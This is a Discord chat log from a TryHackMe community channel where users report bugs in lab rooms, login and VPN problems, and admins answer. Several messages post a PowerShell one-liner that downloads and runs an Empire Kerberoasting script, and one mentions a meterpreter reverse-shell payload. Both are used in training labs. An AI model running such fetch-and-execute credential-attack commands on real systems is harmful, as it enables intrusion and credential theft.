I was just thinking that haha, I need to change that room
spiral flame
Not yet dark!
rugged ermine
I've been working on updating my content the past few days of course
spiral flame
lemme complete it first
Also probably add a warning saying "nessus can take HOURS to install once you get to the web ui, you're gonna wanna leave it for a bit"
spiral flame
Hey @frosty cape Heartbleed is a part of Hackback2019 (Task 7), so should the room still be private?
sly raft
^ room is private because it's a full break down of the vulnerability
spiral flame
Ah ok
neon zealot
This is what the sub page looks like on mobile
Alignment seems off
Seems like the name should be above
cosmic glade
Im just getting connection refused, multiple instances now
spiral flame
Where?
cosmic glade
New christmas room
spiral flame
Gotta wait for the web server to start @cosmic glade
And you can't run multiple instances at the same time
Also make sure you're either VPN'd or using the THM your own kali box
cosmic glade
I'm VPN'd, it's been minutes since server deployed
Normally the rooms come up in less than 60 seconds
is port 3000 correct?
cosmic glade
Alright thanks, that was a while but it's finally up
tidal kiln
@frosty cape https://tryhackme.com/room/corp VM is showing token=undefined upon deploying
pinged Skidy in particular bc I know he's looked into that same issue before. and actually, happening across rooms for me now (Kali room as well)
spiral flame
https://tryhackme.com/room/kali This states 30GB memory, it should really say 30GB disk
tidal kiln
@spiral flame was that comment for me?
tidal kiln
π thinking again how discord needs threaded convos
spiral flame
Discord is like irc, irc has the same issues.
tidal kiln
yes, though Slack and MS teams setting the standard w/ convo threads
covert kernel
For the second prompt, when doing the thing to find the fixed value, my first one was actually missing part of it. it was missing the last three characters... (Tried saying this in a way to not give out spoilers)
spiral flame
Is this a bug? Mine worked properly
covert kernel
Santa didnt keep the last 3 characters
spring heron
In the Advent of Cyber Task 5 Q#2 _
If you decode the cookie, what is the value of the fixed part of the cookie?_ the accepted answer will take a partial answer
spring heron
π
languid bramble
Hello, i think there is a bug on "vulnversity" challenge, in Task 4 they tell us to " Try upload a few file types to the server, what common extension seems to be blocked?" so only 1 should be blocked, but it seems that they are all blocked, even if i have found the solution
rugged ermine
Only one will be accepted rather
One of those extensions will work (hint it's the weirdest one)
languid bramble
Ok thanks π
earnest solar
@frosty cape can u check the UltraTech room? i cannot submit the answer for Task #2 question #5
frosty cape
UltraTech is broken for the time being - I will fix it when I have a spare 30 minutes
I will be making this room private for the time being
Sorry @next anchor - I will take a look at fixing it now actually
@earnest solar Ah I understand now
Leave the room
And re-join
That will fix your problem
spiral flame
Question duping is getting worse
Or sample size has gone much up and people are reporting
frail vessel
Advent challenge VPN IP addresses login breaking on callenges is big bug
mortal root
Minor time formatting bug in chat:
tidal kiln
@frosty cape are you author of corp room? Trying to figure out who can fix the room (specifically last question logging in as admin since the admin account password expired in mid november)
neon zealot
@rugged ermine
rugged ermine
Well poop, Skidy will have to catch that one with the box name
sonic sail
rugged ermine
Is anyone else experiencing that issue?
reef lagoon
nope
ashen shoal
frosty cape
@neon zealot That CHristmas capital is fixed
clever cloud
Also, I have a bunch of trouble logging in.
I reset my cookies every browser close, would this be an issue?
It says I'm using the wrong username and password, but I have an account manager... I've reset my password like 3 times thinking I just misplaced it..
spiral flame
Try using email rather than username @clever cloud
spiral flame
@clever cloud nah, username login doesn't work for me either
@frosty cape did you find a fix for that?
frosty cape
Going to restart OpenVPN server in 10 mins
Just uploading some code to improve the platform. Don't want it crashing again
frosty cape
Yeah, people are still using GoBuster
And all those requests are being routed throuh the VPN server
Will fragment at some point
spiral flame
@frosty cape I was mainly referring to the login issue. You can't log in with your username but the prompt is username/email.
Couple of people, myself included, have found that
tribal knoll
Is the restart currently happenin'?
frosty cape
Yeet
Pushed
Hopefully that will stop the crash.. I'm going to eat my words I just know it
spiral flame
frosty cape
Thanks, been fixed
spiral flame
Also, people who make rooms can't view them if they're sub only. They can manage but not view
frosty cape
oh yeah, thats actually a very good point
Thats providing they dont have a sub tho right?
spiral flame
@frosty cape yea
frosty cape
Thanks, added to my list π
tribal knoll
In room https://tryhackme.com/room/xss , it says You do not need to be connected to our network to deploy and access this. but I get given a 10.10.x.x IP
elder pumice
why does every room link redirect to the why subscribe link?
vocal raptor
Because it's a sub only room?
spiral flame
@frosty cape The password hash is impossible, shadow file isn't readable by this user and you don't have sudo
spiral flame
@sly raft Neither file is readable
sly raft
DM pls π
fast fossil
Advent of Cyber, Task 9/Day 4, Item #5 - seems broken; running the same command results in diff #s of files on different people's systems
fast fossil
yay
remote laurel
Thanks for the fix β€οΈ
frosty cape
π β€οΈ 
spiral flame
@sly raft fun fact, leading zeroes in an IP address octet leads to undefined behaviour. Windows treats it as Octal and things go vey wrong.
sly raft
I mean undefined behaviour also means it could go right ;)
haughty sand
Hi, I have some weird behavior with day 4 challenge. I can see the questions while logged out, but can't see them anymore once logged in. I have tried to disable adblocker, change my browser, I even tried with another computer, but still the exact same problem :/
slender pagoda
@haughty sand try to leave the room and re-join
haughty sand
@slender pagoda it worked, thanks!
cosmic glade
Can I get an admin or someone who has access to check how the "answer" function works on the site, @celest summit found an interesting bug
It appears, at least on one question in todays room, but perhaps all questions, if you submit the right answer, the answer will accept even if anything incorrect is following the right answer in the answer box. Example: if 1.1.1.1 is the answer, you can submit 1.1.1.1.5.3.5.1.2 and the answer will submit successfully.
This is true of at least 9-4 in the advent room
slender pagoda
AFAIK the answers all (or most) have some regex for matching, and especially that one might be because they "fixed" the answer as there was some weird results showing up
rugged ermine
There's a fair amount of regex involved in the answer submission, hence why the answers can be overly forgiving at times
sly raft
We use a similarity metric to check answers so the text you enter must be 80% similar to the answer
And I think this is done by comparing characters
frosty cape
^ Yeah, its not quite perfected though as you can see.
spiral flame
@frosty cape on the 'Teams' leaderboard page, captain is spelt wrong.
covert kernel
For the room kenobi, the mount command no longer works
midnight bridge
Hello task 9 has no questions and it indicates that I have completed it. How can I fix it? (cyber advent)
spiral flame
Leave and rejoin the room
spiral flame
Answer to Alfred q1 is wrong
Nmap with all ports shows 1 more than the answer stated
spiral flame
Investigating Windows is unbearably slow, probably needs more resources as it's a gui
Definitely needs more RAM
Things like event viewer take a long time to load which makes completing any tasks a real chore
Also the answer that was there for Hackback (2?) on that room doesn't work. Room is the same and the logs are the same
Answer format was wrong
Also yeah, too little ram to even open notepad in under a minute
frosty cape
Hm, I've noticed the boot time on the VMs have gotten worse since December
After a spur of machine deploys
I will investigate π
@spiral flame The answer are not the same, its a different VM
Was just simulated the same
frosty cape
Ah must have attached the same questions
Also
In terms of the boot times on AWS
I need to request higher resouce rate
So hopefully it will improve soonish
Yeah we're being limited - I have requested our quota to be increased.
spiral flame
Confirmed bug, I have the same issue with 12 pages. I think it rounds to the next multiple of 6.
deft jackal
i guess its a counting problem related to filter buttons
when you filter it shows less available pages
but not fixing the scroll
spiral flame
Even without filtering, I get the extra pages
deft jackal
@frosty cape just a suggestion for better UI remove them from the scroll better than disable them, it is confusing control
worthy stag
@rugged ermine is the bot meant to say welcome βspecial_quoteβ or is it meant to be replaced with an actual quote when someone joins?
rugged ermine
That's a rare event, it'll typically do a normal quote. Likely that cog is malfunctioning
worthy stag
Ah ok, I knew they were rare but wasnβt sure if special_quotr was just a variable that hadnβt updated
remote laurel
The quote thing has no issue, we just can't figure out why is there so many invalid-user
But yeah no special_quote is intended
tribal knoll
special_quote is all we could come up with for a special quote
remote laurel
"bLuE iS nOt BrOkEn. -DarkStar, probably."
And this
I added another one but apparently it got stashed, I'll readd
mortal root
And the highest confidence level one isn't correct (or at least for me)
Christmas challenge for today, Q2 has quite a few OSs with the same confidence level π
And the highest confidence level one isn't correct (or at least for me)
spiral flame
Yes, port scanning over the internet isn't very reliable
I get different numbers of ports, or incredibly slow (read: hours) for a scan
spiral flame
There's a mistake in the official room Corp
Flag needs a space, but flag in the file doesn't have one
Also, the command is wrong because it specifies the name of an AD forest that doesn't exist
You need to change the name of the forest, AND also respace the command it gives you
it doesn't tell you enough about the box to enumerate it correctly, especially since this is a walkthrough
iexβ(New-ObjectNet.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1') is also broken
tribal knoll
iexβ(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1')
spiral flame
iexβ(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1') is the correct
spiral flame
Also password has expired so you have to manually type out a ludicrously long password and reset it
I expected more from an official room.
tidal kiln
@spiral flame yeah, I pinged @frosty cape a few times within the past week on the Corp room on those issues and didn't hear back
i also use the Feedback link on the site for a lot of stuff like that but never hear back if any of it gets fixed. So no clue if it's doing any good to report
frosty cape
Hi @tidal kiln what's your username? I don't recall getting anything from you :(
I always try to answer all feedback or put the bugs on my to do list
Also @spiral flame hmm, I'll look into this - we had that rooms VM built by a community member. So will ask them to fix the password issue and I'll have the VM reuploaded.
deft jackal
weird thing i finished this room and i dont see my self listed here
zinc badger
Assuming you've done a hard refresh of the page?
deft jackal
same, i joined like 6 rooms and my name not showing ini any
zinc badger
Hmm weird, what's your THM username and what room(s) is this an issue in?
deft jackal
sec
zinc badger
I think you'll only show in the leaderboard/chart if you're in the top 50 ranking for the room as well
zinc badger
Yeah, it's probably a case of not being in the top 50 - If I can remember/find the api request to pull the full leaderboard I'll check to confirm
zinc badger
lol
deft jackal
dont you think ?
zinc badger
50 seems reasonable to me
Even with 50 the chart is messy, dread to think what it would look like with double the number of results lol
tribal knoll
If you're that low you probably with end up in the grey mess anyways
frosty cape
Yeah, the chart is limited to 50 users so @deft jackal you wont see yourself sorry
I was thinking of changing the line graph to a bar chart
So you see users scores more accurately.
merry ridge
Alternatively maybe there could be an api call where a user's own score will always appear on the room leader board with the rank for the room
fervent gust
Room Ice Task 4 # 10 doesn't seem to display any more options after setting the session.
Only after running the exploit command did a payload (windows/meterpreter/reverse_tcp) automatically select itself and more options showed up
merry ridge
Weird I swear it worked when I was doing it the other day
tidal kiln
ditto, just did the same room and can confirm exact same finding as @fervent gust
fading laurel
@tropic ore dm me if you need any help
fervent gust
Not really a bug but I believe there is a typo in #rules
"strictly prohibited, just don't turn it into advertising."
scenic plinth
Is anyone else having trouble after connecting to FTP on task 16 of the christmass event? I can login just fine and execute the help command. When I try to list the directory using dir or ls however the server disconnects
switching to passive mode made no difference
When I enable debug mode it seems like something is not set up correctly:
ftp: setsockopt (ignored): Permission denied
---> PORT 10,8,13,251,189,243
ocean reef
@frosty cape You mentioned that this past sunday you were going to remove the feature regarding "Also is there any way to leave a room that is for members only? If I click the room, it just immediately takes me to /why-subscribe". Just wanted to check in since it still won't allow me to leave a room that requires a subscription. The room in this case was Game Zone; Code: gamezone
rare swallow
It seems that the progress section is bugged on the paths. I'm currently doing primer and the values are different
versus this
frosty cape
Ooooooo ok
That is really really weird
I've put this high on my to-do list
@ocean reef I will remove this in the next push - advent of cyber has been keeping me from regularly building and pushing code.
rare swallow
@frosty cape okay π thank you for looking into it!
rare swallow
quite interesting to be fair! also, there's this section of the wiki that could be integrated in the paths https://tryhackme.com/goals
rather than having that info in 2 places as it is closely related, and probably leave the paths free to access but point out which rooms you require subscription for
frosty cape
I couldn't bring myself to get rid of the goals page
Because I like how you can get a good overview of all rooms
Jeesssuus, that goals page needs updating
We have so many new rooms added since then
rare swallow
i understand that, but i think it can be integrated as part of the learning paths
frosty cape
Wouldn't it be repeated though?
rare swallow
like it is now but in brackets (subscribers only)
well you will have the room, the description and the outcome
frosty cape
because the rooms are layed out in the pathways
rare swallow
so you won't require the goals page
rare swallow
it's up to you, i just find it a little bit redundant, you could do the tick on normal paths too probably?
frosty cape
Yeah thats true
rare swallow
like let's say you got the path> expand> you get rooms>expand> you get the outcomes
and that to be accessible to everyone but the premium rooms to be pointed out
i don't know if it makes sense to you what I'm saying
ocean reef
No worries @frosty cape and thanks for all the hard work. Loving the advent calendar and finally getting into some additional rooms of THM
trim relic
how
vocal raptor
vocal raptor
yes
trim relic
i sent it there
it would have been better if we could do it for ourselves
how long will it take for my email to be corrected
??
@vocal raptor
frosty cape
@trim relic I will do it now if you email
trim relic
i already did
frosty cape
Out of interested, why do you need it asap?
trim relic
can you please check
i would like to get verified and like to explore and learn
lets see if i can subscribe aswell
mortal root
@trim relic I wouldn't post your contact details on a public discord like this π
frosty cape
Your email has been updated
frosty cape
@mortal root Yeah good shout
cloud tundra
frosty cape
@rare swallow Path bug has been fixed, can you please please verify?
spiral flame
@frosty cape On the goals page, basicpentesting has been made private
rare swallow
@frosty cape confirmed. Works fine! ππΌ
frosty cape
Amazing, what % is it showing out of interest
rare swallow
57
On both
Wait a moment
@frosty cape that's not right. I got 3 boxes left on this path
How did it drop from 73 to 57
frosty cape
So it does it depending on how many tasks are left
Are the last 3 boxes onthe path have many tasks?
Let me look into it again
rare swallow
I can't check right now, sorry. It's the blue primer part and ice
frosty cape
OKay I will check again π
Ah actualyl dude yeah then its accurate
Blue primer is a large part
rare swallow
@rugged ermine
rugged ermine
That must have glitched on an edit, gimme just a sec
@rare swallow thanks much for the heads up on that
Check it now, I fixed it
Looks like another question got squished into it a bit
rugged ermine
Splunk is a very powerful tool but the learning curve is immense
rare swallow
@rugged ermine more of a suggestion for this:
you should either word it a little bit better or give a hint out that it's similar to a function in excel
took me ages to understand what it's asked
from the context it points out to 'rename'
stray palm
merry ridge
Hi! Wrong channel btw hop on to #521382216304033794 or maybe #thm-community-media
rare swallow
I assume this is your work @frosty cape ? Room - learnburp
frosty cape
Think so?
rare swallow
has some slight grammar mistakes
well text, my bad
and deploy on both task 2 and 3, even though it's the same machine?
frosty cape
Thanks for reporting, I removed deploy from both tasks
And removed that a;sp
Will read the room fully tonight and update accordingly.
rare swallow
thank you :), also, is there any chance we can get an updated version of it
rare swallow
i mean a more thorough room that covers a little bit more of the functionality of burp suite. as i am just learning about it now it seems pretty basic. I think a room that covers on how to use it and perform certain tasks to capture some flags will be more beneficial for the users
frosty cape
Yeah, I really need to add more tasks.
I want to focus on the content development, we have the community creating rooms which is amazing.
But soon I will shift my focus on seeking out great content developers to help us.
rare swallow
okay, that makes sense. Then, you should shift the ownership of the rooms to someone else in this process. or are you going to add sections on the rooms like: createdby - ; updated by - maintained by- ?
keen compass
β€οΈ
glass kindle
strange raft
glass kindle
Lmao. I actually wouldn't mind I don't like the green name Β―_(γ)_/Β―
frosty cape
@glass kindle Ah, this is weird